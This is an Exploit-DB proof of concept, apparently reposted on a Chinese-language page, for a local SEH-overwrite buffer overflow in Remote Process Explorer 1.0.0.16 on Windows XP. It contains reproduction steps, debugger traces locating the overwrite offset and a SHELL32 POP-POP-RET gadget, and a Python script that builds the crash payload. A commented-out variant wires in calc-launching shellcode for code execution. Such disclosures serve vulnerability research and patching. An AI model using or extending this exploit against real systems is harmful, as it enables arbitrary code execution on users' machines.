Remote Process Explorer 1.0.0.16 – Buffer Overflow (PoC) (SEH Overwrite)

  • 作者: Rafael Pedrero
    日期: 2019-02-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46304/
  • # Exploit Title: Remote Process Explorer v1.0.0.16 - Denial of Service (PoC) and SEH overwritten Crash PoC
    # Discovery by: Rafael Pedrero
    # Discovery Date: 2019-01-30
    # Vendor Homepage: http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16
    # Software Link : http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16
    # Tested Version: 1.0.0.16
    # Tested on: Windows XP SP3
    # Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
    
    # Steps to Produce the Crash:
    # 1.- Run rpexplorer.exe
    # 2.- copy content rpexplorer_Crash.txt to clipboard (result from this python script)
    # 3.- Go to "Add computer" and paste the result in the first textbox and click in Add button.
    # 4.- Select "AAAAAAAAA...." computer, right mouse button and Connect and you will see a crash.
    
    '''
    
    Detect:
    
    SEH chain of thread 00000144
    AddressSE handler
    0114FEC8 78413977
    41387741 *** CORRUPT ENTRY ***
    
    EAX 0114FEBC
    ECX 0114FEC0 ASCII
    "w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
    EDX 41347741
    EBX 0116236C
    ESP 0114FBF0
    EBP 0114FEC0 ASCII
    "w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
    ESI 000000D4
    EDI 00000000
    EIP 00404F48 rpexplor.00404F48
    C 0ES 0023 32bit 0(FFFFFFFF)
    P 1CS 001B 32bit 0(FFFFFFFF)
    A 0SS 0023 32bit 0(FFFFFFFF)
    Z 0DS 0023 32bit 0(FFFFFFFF)
    S 0FS 003B 32bit 7FFDC000(FFF)
    T 0GS 0000 NULL
    D 0
    O 0LastErr ERROR_SUCCESS (00000000)
    EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
    ST0 empty
    ST1 empty
    ST2 empty
    ST3 empty
    ST4 empty
    ST5 empty
    ST6 empty
    ST7 empty
     3 2 1 0E S P U O Z D I
    FST 0000Cond 0 0 0 0Err 0 0 0 0 0 0 0 0(GT)
    FCW 1272Prec NEAR,53Mask1 1 0 0 1 0
    
    Log data, item 24
     Address=0BADF00D
     Message=SEH record (nseh field) at 0x0114fec8 overwritten with normal
    pattern : 0x41387741 (offset 684), followed by 308 bytes of cyclic data
    after the handler
    
    Check after script:
    
    SEH chain of thread 00000D04
    AddressSE handler
    0114FEC8 43434343
    42424242 *** CORRUPT ENTRY ***
    
    
    Log data, item 53
     Address=7E6E5E50
     Message=0x7e6e5e50 : pop ebx # pop ebp # ret 0x04 | asciiprint,ascii
    {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH:
    True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
    
    
    '''
    
    #!/usr/bin/env python
    
    '''
    calc = ("\x31\xC9"# xor ecx,ecx
    "\x51"# push ecx
    "\x68\x63\x61\x6C\x63"# push 0x636c6163
    "\x54"# push dword ptr esp
    "\xB8\xC7\x93\xC2\x77"# mov eax,0x77c293c7
    "\xFF\xD0") # call eax
    '''
    
    crash = "\x41" * 684 + "BBBB" + "CCCC"
    #crash = "\x41" * 684 +"\xEB\x14\x90\x90" + "\x50\x5e\x6e\x7e" + "\x90" * 24 + calc + "A"*(1000 - 32)
    f = open ("rpexplorer_Crash.txt", "w")
    f.write(crash)
    f.close()